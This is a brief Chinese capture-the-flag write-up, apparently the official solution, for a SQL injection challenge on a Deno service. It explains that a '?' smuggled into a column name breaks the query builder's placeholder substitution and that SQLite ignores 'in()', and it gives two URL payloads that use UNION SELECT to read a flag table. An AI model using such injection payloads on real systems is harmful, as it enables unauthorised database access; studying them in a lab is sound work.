/flight?id=1&?=`in()+union+select+1,flag+from+flag;

官方wp:

deno的day,和去年出的ez_sql有点像。
两个问题:
一是SQL语句build的方式。
二是参数注入后列名中会产生带有引号的不存在的列名。
SQLite where子句中的in()会被忽略,利用这一点可以解决第二个问题。
第一个问题通过源码不难发现在生成最终的SQL语句时,使用了?作为占位符,因此可以通过在列名中传入?造成注入。

payload:

1
flight??=`in()%20union%20select%202333,flag%20from%20flag;